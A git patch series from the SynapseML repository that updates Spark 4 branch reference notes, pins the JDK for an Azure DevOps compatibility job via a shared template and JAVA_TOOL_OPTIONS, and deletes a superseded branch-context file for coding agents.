b/.github/skills/synapseml-branches/references/branch-spark4p0.md index aa5505960f9..d7db1879265 100644 --- a/.github/skills/synapseml-branches/references/branch-spark4p0.md +++ b/.github/skills/synapseml-branches/references/branch-spark4p0.md @@ -8,6 +8,9 @@ templatized version of the branch context from - Shared Spark 4.0 port. At the #2646 snapshot it used Spark 4.0.1, Scala 2.13.16, Java 17, Python 3.12, and Databricks 17.3; verify live files. + The Databricks runtime strings are `17.3.x-scala2.13` and GPU + `17.3.x-gpu-ml-scala2.13`. DBR 17.3 LTS ML ships Spark 4.0 and 18.0 ML ships + Spark 4.1, which is why the runtime version is not a free knob here. - Check `spark4.1` before debugging from scratch because it is the more actively maintained descendant, then prove any candidate fix is not 4.1-specific. - Live state lags the #2646 description. In `DatabricksUtilities.scala` the live @@ -42,6 +45,27 @@ templatized version of the branch context from 4.1 `np.frombuffer` workaround. - Preserve the Spark 4 R fixes shared with 4.1. The branch-local `JAVA_HOME` fallback is extra; nested-stage loading was alignment, not proven root cause. +- **sparklyr must be 1.9.5, not 1.9.3** (`r-sparklyr=1.9.5` in `environment.yml`), + and on the live branch it is still + 1.9.3 — so this is a current failure, not history. Under dbplyr 2.6, sparklyr + 1.9.3's `tidyselect_data_proxy.tbl_spark` returns a proxy carrying no Spark + connection, so anything routed through `dplyr::select` on a `tbl_spark` loses + `sc`. It broke `RTests core` (21 of 69) and `RTests deep-learning` (3 of 3), + and it surfaces one or two layers away as `invoke_static` or `hive_context` + applied to `NULL`, which reads like a dead Spark session. Interleaving is the + tell: a dead session fails everything after a point, whereas this failed 21 + tests scattered among 48 passes, with `sar` passing while `sar_model` failed. + Read the backtrace, not the surface error. `spark4.1` pairs the same + `r-base=4.4` with 1.9.5 and passes 69/69. +- R connects through `SPARK_HOME`: `RTestGen.scala` generates + `spark_connect(master = "local", spark_home = Sys.getenv("SPARK_HOME"), ...)`, + byte-identical to `spark4.1`. The pipeline exports `SPARK_HOME`, so + `run_r_tests.R` only unsets it and installs the tarball when it is absent, + which is the local-developer path. Be accurate about what that bought: the + previous `version = "4.0"` form also worked, because `run_r_tests.R` had + already installed the tarball and sparklyr resolves an install it made itself. + Measured R results were identical before and after. It is kept for + byte-identical alignment with 4.1, not because it fixed anything. ## Runtime and CI @@ -51,16 +75,26 @@ templatized version of the branch context from 4.0-capable Fabric runtime exists, which may never happen; the more likely resolution is that this branch is superseded by `spark4.1`. - At #2646, two GPU fine-tune notebooks failed because no Horovod wheel matched - DBR 17.3's PyTorch. Do not switch `AdbGpuRuntime` to DBR 18 merely to turn - them green; DBR 17.3 LTS ML ships Spark 4.0 and 18.0 ML ships Spark 4.1, so - bumping it would test Spark 4.1 instead of this branch and make the suite - green by no longer testing what it exists to test. Revalidate this known gap. + DBR 17.3's PyTorch. The wheel this branch needs is one built against DBR 17.3 + ML's PyTorch, and no such wheel is published — the `synapse-extension` wheel is + built for 18.0 ML. Producing it is a build-artifact task rather than a code + change, which is why this is recorded rather than patched around. `spark4.1` + additionally calls `ensure_petastorm_compatibility()` *before* `import horovod` + in `_horovod.py`; that is a plausible second contributor but it is unproven, so + do not quote it as the cause without the notebook's stderr from the Databricks + run API. Do not switch `AdbGpuRuntime` to DBR 18 merely to turn them green; + that would test Spark 4.1 instead of this branch and make the suite green by no + longer testing what it exists to test. Revalidate this known gap. - Two of four GPU notebooks failing is that gap's expected shape. Check the failing count and which notebooks, not the job's red/green, before calling it - a regression. The Horovod wheel is the first blocker and it masks the missing - Petastorm layer noted above, so fixing the wheel alone should not be expected - to turn these notebooks green. Confirm each step from the notebook's stderr - output rather than inferring it. + a regression. Note the denominator moves: live `spark4.0` has three GPU + notebooks and #2646 brings master's fourth + (`Quickstart - End-to-end Local RAG with Phi Model`), because the sync also + adopts master's consolidated `DatabricksGPUTests`, which runs the whole + `GPUNotebooks` set instead of three hardcoded indices. The Horovod wheel is + the first blocker and it masks the missing Petastorm layer noted above, so + fixing the wheel alone should not be expected to turn these notebooks green. + Confirm each step from the notebook's stderr output rather than inferring it. - Avoid pinning runtime-provided torch/torchvision without a demonstrated need; incompatible pins can trigger multi-gigabyte CUDA downgrades and timeouts. The recorded instance was `torchvision==0.17.0` in `GPULibraries`, which diff --git a/.github/skills/synapseml-branches/references/branch-spark4p1.md b/.github/skills/synapseml-branches/references/branch-spark4p1.md index 3e0d1a054d4..1b17c63a9ac 100644 --- a/.github/skills/synapseml-branches/references/branch-spark4p1.md +++ b/.github/skills/synapseml-branches/references/branch-spark4p1.md @@ -8,7 +8,8 @@ templatized version of the branch context from - Shared Spark 4.1 port and the more actively maintained Spark 4 reference. At the #2645 snapshot it used Spark 4.1.1, Scala 2.13.17, Java 17, Python 3.13, - and Databricks 18.0; verify live files. + and Databricks 18.0; verify live files. The Databricks runtime strings are + `18.0.x-scala2.13` and GPU `18.0.x-gpu-ml-scala2.13`. - Ask whether every non-4.1-specific fix should be back-ported to `spark4.0`. ## Core differences @@ -19,26 +20,40 @@ templatized version of the branch context from pyarrow APIs Petastorm still calls, which the pinned pyarrow no longer provides. Do not describe it as a Python 3.13 workaround — that framing makes `spark4.0` look exempt when it is not. `spark4.0` pins a different, newer - pyarrow, so those APIs are missing there too. + pyarrow, so those APIs are missing there too. The layer has two halves: + `_petastorm_compat.py` and the `_serialize_petastorm_compatibility()` path in + `_horovod.py`. A back-port needs both. - `LongOffset` moved to `...execution.streaming.runtime`; the 4.0 import does - not compile here. -- Spark 4.1 returns Python `bytes` for `BinaryType`; `ImageTransformer` uses - `np.frombuffer` because `np.asarray` treats `bytes` as a scalar string. + not compile here. `HTTPSource.scala` and `DistributedHTTPSource.scala` are the + files that import it, and they are the whole surface of this difference. +- Spark 4.1 returns Python `bytes` for `BinaryType` where 4.0 returns + `bytearray`; `np.asarray(value, dtype=np.uint8)` raises `ValueError` on `bytes` + because it treats them as a scalar string, so `ImageTransformer.toNDArray` + uses `np.frombuffer`, which accepts both. - `RCodegenSuite` directly guards generated R behavior, including nested-stage loading and the Spark 4 ANSI settings. ## Runtime and CI - Fabric Runtime 2.0 supports Spark 4.1, so the old "unsupported runtime" - reason for disabling Fabric E2E is stale. Re-enable only in a dedicated PR: - request Spark 4.1 in workspace creation, restore the pipeline condition, and - validate with real Fabric capacity/service connection. The workspace-creation - payload lives in the Fabric test package's `FabricOperations.scala`, which - hardcodes `'SparkVersion': '3.5'` and must request `'4.1'`. That value is + reason for disabling Fabric E2E is stale. On this branch's `pipeline.yaml` the + job is switched off with a bare `condition: false`, so it is skipped rather + than reported. Do not check `master` to confirm that, because `master` has + the normal `and(succeeded(), eq('${{ parameters.testFabricE2E }}', true))` and + `spark4.0` a third form, `eq('${{ parameters.testFabricE2E }}', true)` with no + `succeeded()`. Re-enable only in a dedicated PR, where the pipeline run *is* + the test, rather than folding it into a sync: a Fabric provisioning failure + would otherwise block an unrelated merge. That PR should restore `master`'s + form, drop the stale comment, request Spark 4.1 in workspace creation, and + validate against real Fabric capacity and service connection. The + workspace-creation payload lives in the Fabric test package's + `FabricOperations.scala`, which hardcodes `'SparkVersion': '3.5'` and must + request `'4.1'`. That value is hardcoded identically on `master`, `spark4.0` and `spark4.1`, so changing it here does not alter master's behaviour. It also needs a Fabric capacity in the - `sempy-integration-region` that can provision Runtime 2.0 workspaces, which is - the one prerequisite not discoverable from the code. + `sempy-integration-region` that can provision Runtime 2.0 workspaces, and the + `SynapseML Build` service connection, which are the prerequisites not + discoverable from the code. - Databricks CPU/GPU validation uses 18.x-era runtimes: CPU pool `synapseml-build-18.0`, GPU pool `synapseml-build-14.3-gpu`. Run Spark 4 builds sequentially because the GPU pool is shared with `master` and `spark4.0`. From ac50e8a3d1ba928fea1a6a8d4853ffcf667b0561 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 17 Aug 2026 03:47:19 -0700 Subject: [PATCH 92/93] fix: pin the JDK for InternalCompat to the branch under test (#2652) * fix: pin the JDK for InternalCompat to the branch under test The SynapseML-Internal compatibility check never set a JDK, so it ran on the agent default. That works for master and spark3.5 but cannot compile the Spark 4 branches, which target Java 17: build 231477746 (#2645, spark4.1) failed publishing the OSS tree and build 231456784 (#2646, spark4.0) failed compiling the Internal tree, both with 'Class java.lang.Record not found', a type that arrived in Java 16. This is structural rather than intermittent. Across recent builds of definition 17563 the job succeeds on every master-targeting PR and fails on both Spark 4 PRs, so it would be a permanent red on those branches. The job is advisory by design, and an advisory check that is always red is one people stop reading, which loses the signal it exists to carry. The JDK now follows the branch under test, derived in the step that already parses and validates System.PullRequest.TargetBranch to pick the Internal branch, since both sides of the comparison are built from that branch's Spark line. Java 17 also needs the java.prefs --add-opens flag for sbt, mirroring the ReleaseBranchCompat job above, which builds the same branches with the same task and flag on the same pool. Only Spark 4 branches are pinned. master and spark3.5 pass on the agent default, so pinning them would change working behaviour to fix a problem they do not have; an empty value skips the JDK step and leaves that path unchanged. The two variables are declared with empty job-level defaults because an undefined ADO macro is passed to the script verbatim, and an unexpanded COMPAT_SBT_OPTS macro would be read by bash as a command substitution rather than an empty argument. Two later steps run under succeededOrFailed(), so they can execute even when the step that sets the variables did not. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: pin InternalCompat JDK per branch via templates/java_setup.yml Replaces the runtime target-branch mapping from the first commit on this PR with the pin the repository already uses. Why the first approach was wrong -------------------------------- It read the target branch at runtime and mapped spark4.* to JDK 17 inside pipeline.yaml. That added a fifth place where a branch's Java version is declared, alongside .github/workflows/pr-validation.yml, environment.yml, templates/java_setup.yml and the ReleaseBranchCompat matrix. It also carried a hardcoded spark4.* glob that a future spark5.0 would silently fall through, and two job-level variables that existed only to keep an undefined ADO macro from reaching bash as a command substitution. What this does instead ---------------------- templates/java_setup.yml is already this repo's per-branch JDK pin: it exists on spark4.0 and spark4.1 with versionSpec 17, and spark4.0's pipeline.yaml already includes it. This commit adds master's copy with versionSpec 11 -- measured as master's current effective JDK, so master's behaviour does not change -- and includes the template from InternalCompat. The include is the same single line on every branch, so the sync never has to reconcile pipeline.yaml for this, and the per-branch value lives in exactly one file that already carries the right value on the branches that need it. A future release branch is correct by construction: it gets its JDK from its own java_setup.yml rather than from a glob in master's pipeline. The sbt --add-opens flag is now passed unconditionally rather than through a variable. It is only required on 17, but --add-opens has existed since Java 9 and an unknown module is a warning rather than an error, so it is inert on 11. That removes both job-level variables and the macro-expansion hazard with them. Verification ------------ - master's InternalCompat runs Temurin 11.0.32 today (build 231341458 echoes JAVA_HOME and java -version), so versionSpec 11 is a no-op there. - templates/java_setup.yml is byte-identical to spark4.1's copy apart from the two version tokens. - build.sbt declares nothing about Java on any branch, so sbt cannot make this choice; it runs on whatever JDK is on PATH. - Net change is 23 insertions against master, 47 deletions against the previous commit; 11 of the insertions are the explanatory comment. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: cover every JVM in InternalCompat with JAVA_TOOL_OPTIONS The Copilot review on this PR was right and my previous commit was wrong. I claimed "all four sbt invocations carry the flag". There are not four. The review identified two more, and both checks out: * templates/sbt_cache.yml runs `bash tools/ci/sbt_retry.sh update`, an sbt invocation in a template this job includes, which no per-command flag in pipeline.yaml can reach. * the `Run Internal Scala tests` loop runs `if ! sbt "testOnly com.microsoft...$pkg.**"`, which my grep for lines starting with `sbt ` missed because of the `if ! ` prefix. Per-command flags are the wrong shape for this regardless of how many I find, because they also cannot reach a JVM the tests fork. Replaced them with a single job-level JAVA_TOOL_OPTIONS, which every JVM started anywhere in the job picks up. This is not a new mechanism for the repo. spark4.0's pipeline.yaml already does `export JAVA_TOOL_OPTIONS="--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED"` in two places for the same reason. Set unconditionally rather than behind a Spark 4 condition: --add-opens has existed since Java 9 and an unknown module is a warning rather than an error, so it is inert on master's Java 11. That keeps a branch conditional out of the file entirely. Checked the one hazard this introduces. JAVA_TOOL_OPTIONS makes every JVM print "Picked up JAVA_TOOL_OPTIONS: ..." to stderr, and this job captures sbt output with 2>&1 and parses a version out of it. The parse greps '^\[info\] ([0-9]+\.[0-9]+|HEAD-)', anchored to the start of the line, which the "Picked up" line cannot match. Safe. Also worth recording: spark4.0's Style job runs `sbt scalastyle test:scalastyle` on Java 17 with no --add-opens and passes, so the flag is not needed for sbt startup, only for particular tasks. That is why the failure showed up where it did rather than immediately. Net result against master is now 34 insertions and zero deletions, 25 of them comment, so the functional change is 10 lines: the new template file, one template include, and one variable. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: correct the rationale comment for setting JAVA_TOOL_OPTIONS unconditionally The review is right: the previous comment justified this as 'inert on master's Java 11' on the grounds that an unknown module only warns. That reasoning describes a case that does not apply here. java.prefs has existed since Java 9, so on Java 11 the option is genuinely applied, not ignored. The conclusion is unchanged -- it is still safe to set unconditionally -- but for the correct reason: it opens a package that nothing on master's path reflects into, which is harmless, and setting it for every target keeps a branch conditional out of pipeline.yaml. Comment-only change; no behavioural difference. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 29 +++++++++++++++++++++++++++++ templates/java_setup.yml | 7 +++++++ 2 files changed, 36 insertions(+) create mode 100644 templates/java_setup.yml diff --git a/pipeline.yaml b/pipeline.yaml index 62145afdb42..1fc750477e4 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1378,6 +1378,23 @@ jobs: dependsOn: BuildAndCacheSbt pool: vmImage: $(UBUNTU_VERSION) + # sbt on Java 17 needs java.util.prefs opened reflectively. Setting it here + # rather than on individual sbt commands covers every JVM the job starts, + # including templates/sbt_cache.yml's prewarm, the Internal test loop, and any + # JVM the tests fork -- per-command flags reach none of those. spark4.0's + # pipeline already uses JAVA_TOOL_OPTIONS this way for the same reason. + # + # Set unconditionally rather than only for Spark 4. `java.prefs` has existed + # since Java 9, so on master's Java 11 the option is genuinely applied rather + # than ignored -- it just opens a package nothing on that path reflects into, + # which is harmless. Setting it for every target keeps a branch conditional + # out of this file. + # + # The one place JVM stderr is parsed is the OSS version read below, and its + # grep is anchored to '^\[info\] ', which the "Picked up JAVA_TOOL_OPTIONS" + # line cannot match. + variables: + JAVA_TOOL_OPTIONS: '--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED' steps: # Explicit paths: a multi-repo job otherwise nests every repo under a folder # named after it, which moves the OSS root off $(Build.SourcesDirectory). That @@ -1391,6 +1408,18 @@ jobs: # Required by 'Select matching SynapseML-Internal branch' below: without persisted # credentials the follow-up fetch cannot authenticate to this private repo. persistCredentials: true + # The JDK has to match the branch under test, and the branch already declares it: + # templates/java_setup.yml is this repo's per-branch JDK pin, carrying 11 here and + # 17 on spark4.0/spark4.1. Without it this job compiled both trees on the agent's + # default JDK and failed with "Class java.lang.Record not found" -- on the OSS tree + # for spark4.1 (build 231477746) and on the Internal tree for spark4.0 (build + # 231456784), a type that arrived in Java 16. That was a permanent red on those + # branches rather than a real compatibility signal. + # + # Including the template rather than mapping the target branch to a version here + # keeps this line identical on every branch, so the sync never has to reconcile it, + # and leaves exactly one place per branch that decides the JDK. + - template: templates/java_setup.yml # Internal mirrors this repo's branch names 1:1 (master, spark3.5, spark4.0, spark4.1), # so the OSS branch under test decides which Internal branch is the correct comparison # point: master pairs with Internal master (both Spark 3.5), spark4.1 with Internal diff --git a/templates/java_setup.yml b/templates/java_setup.yml new file mode 100644 index 00000000000..2cf7999c4fe --- /dev/null +++ b/templates/java_setup.yml @@ -0,0 +1,7 @@ +steps: + - task: JavaToolInstaller@0 + displayName: 'Use Java 11' + inputs: + versionSpec: '11' + jdkArchitectureOption: 'x64' + jdkSourceOption: 'PreInstalled' From e688115c1a675ed024842c82ee7d3867d6a26cbc Mon Sep 17 00:00:00 2001 From: ranadeepsingh Date: Mon, 17 Aug 2026 03:54:11 -0700 Subject: [PATCH 93/93] docs: remove AGENTS_spark4.1.md now that the knowledge lives in the branches skill #2651 moved this branch's operating knowledge onto master under .github/skills/synapseml-branches/, which the merge above brings here: references/branch-spark4-common.md for what both Spark 4 branches share and references/branch-spark4p1.md for this branch's specifics. The skill is the better home: it is resolved automatically by branch, it lives on master so it no longer has to survive every sync, and its content was checked against this file by two independent audits before the move. Three claims were deliberately corrected rather than copied, because measurement contradicted them. Verified before deleting: nothing in the tree references AGENTS_spark4.1.md, and the base AGENTS.md is untouched. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- AGENTS_spark4.1.md | 258 --------------------------------------------- 1 file changed, 258 deletions(-) delete mode 100644 AGENTS_spark4.1.md diff --git a/AGENTS_spark4.1.md b/AGENTS_spark4.1.md deleted file mode 100644 index 0ca4bc436b5..00000000000 --- a/AGENTS_spark4.1.md +++ /dev/null @@ -1,258 +0,0 @@ -# AGENTS_spark4.1.md - -Branch-specific context for `spark4.1`. Read [AGENTS.md](AGENTS.md) first for the -branch model and sync rules that apply everywhere. - -## What this branch is - -A port of SynapseML to Spark 4.1. It exists so the library can run on runtimes -that have moved past Spark 3.x; it is not a feature branch. Features and fixes -land on `master` and arrive here when `master` is merged in. - -| | | -| --- | --- | -| Spark | 4.1.1 | -| Scala | 2.13.17 | -| Java | 17 | -| Python | 3.13 | -| Databricks runtime | `18.0.x-scala2.13`, GPU `18.0.x-gpu-ml-scala2.13` | -| Generated Python | `target/scala-2.13/generated/src/python/` | - -This branch is the more actively maintained of the two Spark 4 branches, and it -descends from `spark4.0`'s upgrade commit. In practice that makes it the -reference: when `spark4.0` hits a problem, the fix usually already exists here. - -**So when you fix something here, ask whether `spark4.0` needs it too.** Most -fixes on this branch are Spark-4-generic rather than 4.1-specific, and the -back-port is normally the same patch with version strings substituted. The -exceptions are listed under "Do not port to spark4.0". - -```bash -git diff spark4.0 spark4.1 -- -``` - -## Why things differ from master - -### Toolchain and dependencies - -`environment.yml` targets Python 3.13, which forces several changes away from -master's pins: - -- **`numpy` is intentionally left unpinned.** Master pins `numpy==1.26.4`, which - has no Python 3.13 wheels. The comment above it says so — keep the comment; - it is what stops a future sync from "restoring" master's pin. -- `pip`, `pyarrow`, `torch`/`torchvision` and the `pandas`/`horovod` wheel URLs - are moved forward to releases that publish cp313 artifacts. - -Each pin carries a comment explaining it. Preserve those comments through syncs. - -`tools/docker/*/Dockerfile` set `JAVA_HOME` to Java 17. -`.github/workflows/pr-validation.yml` uses JDK 17. - -`pipeline.yaml` drops master's `-XX:+UseConcMarkSweepGC --XX:+CMSClassUnloadingEnabled` from `SBT_OPTS`. CMS was removed in Java 17 and -the JVM refuses to start with those flags. - -### Python 3.13 runtime shims - -`deep-learning/.../dl/_petastorm_compat.py` and the -`_serialize_petastorm_compatibility()` path in `_horovod.py` work around -cloudpickle/petastorm breakage under Python 3.13. These exist **only** because of -the interpreter version — see "Do not port to spark4.0". - -### Scala 2.13 - -Scala 2.13 changed how `Seq` is interpreted. Code that produced a -`mutable.ArraySeq` where an `immutable.Seq` is expected throws -`ClassCastException` at runtime, not compile time. `CognitiveServiceBase.getValueOpt` -converts centrally via `asImmutableCollection` (using `toIndexedSeq`, which keeps -O(1) indexing) rather than patching each affected service individually. - -### Spark 4 behaviour changes - -- **SAR** (`SAR.scala`, `SARModel.scala`): Spark 4 rejects the previous - `Seq[Row]` UDF shape with an `UnboundRowEncoder` error, so the affinity pairs - use a named `case class` with explicit struct fields. Separately, a self-join - now trips `DetectAmbiguousSelfJoin`, so the join column is qualified - (`col("sarUserFactors.flatList")`). -- **`Wrappable.safeGetDefault`**: Spark 4's `getDefault` throws where Spark 3 - returned a default, so lookups go through a guarded helper. -- **`VerifyTrainClassifier`**: the vector-column fixture no longer feeds - `Double.NaN` to the trainer. Spark 4 does not tolerate a NaN feature reaching - logistic regression the way 3.5 did. The test is about training on a vector - column, not about NaN, so the value was replaced rather than the test weakened. - -### Spark 4.1 specifically - -`LongOffset` moved to `org.apache.spark.sql.execution.streaming.runtime`. -`HTTPSource.scala` and `DistributedHTTPSource.scala` import it from there. This -is the one import that is genuinely 4.1-only — on Spark 4.0 it is still in -`...streaming` and this import does not compile. - -A `BinaryType` column also returns a different Python type. Measured against real -4.0.1 and 4.1.1 installs: - -| | Spark 4.0.1 | Spark 4.1.1 | -| --- | --- | --- | -| Python type from a `BinaryType` column | `bytearray` | `bytes` | -| `np.asarray(value, dtype=np.uint8)` | works | `ValueError` | - -`np.asarray` accepts `bytearray` because it exposes the buffer protocol as a -sequence of ints, but treats `bytes` as a scalar string. `ImageTransformer.toNDArray` -therefore uses `np.frombuffer`, which handles both. This is required here and -inert on `spark4.0`. - -### Code generation - -`OpenAIPrompt` sets `pyInternalWrapper = true` on this branch, so codegen emits -`class _OpenAIPrompt` and a hand-written `OpenAIPrompt.py` supplies the public -name. Any Python emitted into that class must therefore use **zero-argument -`super()`**; a hardcoded `super(OpenAIPrompt, self)` raises `NameError` because -that name does not exist inside the generated module. See -`OpenAIPromptPythonOverrides.scala`. - -### Hand-written `__init__.py` files - -`PythonInitMerger` arrived from master and **preserves** hand-written -`__init__.py` content by splicing it *after* the generated imports. Previously -codegen overwrote these files, so their contents were inert. They are now live -code in the shipped package, and a stale one is a real bug. - -Current policy on this branch: - -| Path | State | Why | -| --- | --- | --- | -| `core/.../io/http/__init__.py` | **must stay empty** | It listed `HTTPFunctions` and `ServingFunctions`, which are modules of free functions with no same-named class. The import failed, breaking `PythonTests core` and seven website-sample docs. | -| `vw/`, `services/openai/` | **removed** | Duplicated what codegen already emits, and redefined `__all__`, narrowing `import *` to a hand-maintained list. | -| `recommendation/`, `dl/`, `hf/`, `cognitive/`, `mmlspark/` | kept | These add exports codegen does not emit. | - -Do not add new `__init__.py` files that re-list generated classes. -`test_http_package.py` and `test_package_exports.py` guard this. - -### R tests - -Two changes, both required: - -- `RTestGen.scala` sets `spark.sql.ansi.enabled=true` and - `spark.sql.ansi.doubleQuotedIdentifiers=true`. sparklyr emits - `SELECT 0L AS "class", ...`; without the second flag Spark 4 reads `"class"` - as a string literal and fails with `PARSE_SYNTAX_ERROR`. -- The `PipelineStageWrappable` trait generates - `sparklyr:::new_ml_pipeline_stage(invoke(spark_jobj(x), "getStages")[[1]])` - instead of `ml_stages(x)[[1]]`. The per-type overrides in `EstimatorParam.scala`, - `PipelineStageParam.scala` and `TransformerParam.scala` became redundant and - were removed. `r-sparklyr` is pinned to 1.9.5. - -`RCodegenSuite.scala` asserts the generated R directly, so a regression in the -above is caught at unit-test time rather than in the much slower `RTests` leg. -This file does not exist on `spark4.0`. - -### Databricks - -CPU pool `synapseml-build-18.0`; GPU pool `synapseml-build-14.3-gpu`, which is -**shared with `master` and `spark4.0`**. Instance pools are runtime-agnostic, so -sharing avoids duplicating scarce GPU quota — but the pool holds three workers -(`GpuWorkersPerRun` 1 x `GpuConcurrentRuns` 3), so two builds running -concurrently exhaust it and fail with `areLibrariesInstalled == false`. - -Queue Spark 4 branch builds **sequentially**. A Databricks failure during -overlapping builds is usually capacity, not code — confirm by re-running alone -before investigating. - -`DatabricksCPUStreamingTests` is recorded as unscheduled rather than given a CI -leg; it needs both pool capacity and a notebook fix. - -### Fabric E2E is disabled — and the reason is now out of date - -`FabricE2E` is `condition: false`, with a comment saying Fabric's managed runtime -"does not yet support Spark 4.1 binaries". **That is no longer true.** Fabric -Runtime 2.0 reached general availability on Apache Spark **4.1** (Scala 2.13, -Python 3.13, Java 21, Delta 4.x). This branch is therefore the one Spark 4 branch -that Fabric can actually host, and the disabled job is real lost coverage. - -Re-enabling is not a one-line change. It needs: - -1. `core/src/test/scala/.../fabric/FabricOperations.scala` — the workspace - creation payload hardcodes `'SparkVersion': '3.5'`. It must request `'4.1'`. - This is hardcoded on all three branches, so master is unaffected by changing - it here. -2. `pipeline.yaml` — restore - `condition: and(succeeded(), eq('${{ parameters.testFabricE2E }}', true))` - and drop the stale comment. -3. A Fabric capacity in the `sempy-integration-region` that can provision - Runtime 2.0 workspaces. - -Step 3 cannot be verified from a development machine — it needs live Fabric -capacity and the `SynapseML Build` service connection. Do this as its own PR -where the pipeline run *is* the test, not as part of a sync PR, so that a Fabric -provisioning failure does not block an unrelated merge. - -Note that the equivalent section in `AGENTS_spark4.0.md` reaches the opposite -conclusion, correctly: there is no Fabric runtime on Spark 4.0, so it stays -disabled there. - -## Do not port to spark4.0 - -- **`LongOffset` import** — 4.0 still has it in `...streaming`; 4.1's import does - not compile there. -- **`ImageTransformer.toNDArray` using `np.frombuffer`** — guards against a - `bytes` value that Spark 4.0 does not produce; see the table above. -- **petastorm / horovod cloudpickle shims** — Python 3.13 workarounds. - `spark4.0` is on 3.12 and its deep-learning tests pass without them. -- **`numpy` left unpinned** — on `spark4.0`, `numpy==1.26.4` both has cp312 - wheels and stays below the NumPy 2.0 ABI break that `pandas` 2.0.3 cannot - tolerate, so it is pinned there deliberately. -- **Version strings generally** — Spark 4.1.1, Scala 2.13.17, Python 3.13, - Databricks 18.0, sparklyr 1.9.5. - -Everything else on this branch is a candidate for back-porting. - -One item is worth naming explicitly because it looks 4.1-specific and is not: -`cyber/utils/spark_utils.py` uses `spark.createDataFrame(rdd, schema)` where -`spark4.0` still uses `rdd.toDF(schema)`. `toDF` was measured to work on **both** -4.0.1 and 4.1.1, so this was never a 4.1 necessity — it reduces reliance on the -monkey-patched RDD API, which does not exist under Spark Connect. Back-porting it -is safe but buys little on its own, since the surrounding -`df.rdd.zipWithIndex()` is still an RDD call. - -## Known non-code failures - -- `UnitTests onnx` intermittently hits `OutOfMemoryError` in - `ImageFeaturizerSuite`. It has passed on re-run with no code change; re-run - before treating it as a regression. -- `RTests vw` can fail on a conda `HTTP 403` fetching packages. Infrastructure. -- Databricks library-install failures during concurrent builds — see above. - -## CI - -`/azp run` **does** trigger a full build for this branch. The Azure DevOps -definition's pull-request trigger is defined in the pipeline UI rather than by -the `pr:` block in `pipeline.yaml`, and until 2026-08-17 its filter was -`+master` only, so comments on this branch were silently ignored. The filter now -covers `master`, `spark3.5`, `spark4.0` and `spark4.1`. - -Verified on PR #2645: build `231455958` queued with `reason=pullRequest` and -`requestedFor=GitHub`, versus `reason=manual` on every hand-queued build before -it. That field is the reliable way to tell a trigger-driven run from one you -queued yourself. - -If a comment produces no build, re-read the trigger's branch filters through the -definitions API before assuming flakiness — a UI-defined trigger overrides the -YAML silently. The fallback is to queue directly against the PR merge ref -(`refs/pull//merge`), which bypasses trigger filters. `refs/heads/` -does not work — it fails service-connection authorization. - -GitHub Actions checks do run here, but they only compile and lint. They cannot -catch the failures this branch is actually prone to, all of which need the full -Azure DevOps run. - -## Before merging a sync from master - -1. Confirm no master content was dropped — compare content, not just commit - reachability (see AGENTS.md). -2. Re-check every item above still holds; a sync can quietly revert a pin or a - guarded call. -3. Run the full Azure DevOps pipeline, alone rather than alongside another Spark - 4 branch build. -4. Diff against `spark4.0` and account for each difference as intended or - missing — in both directions.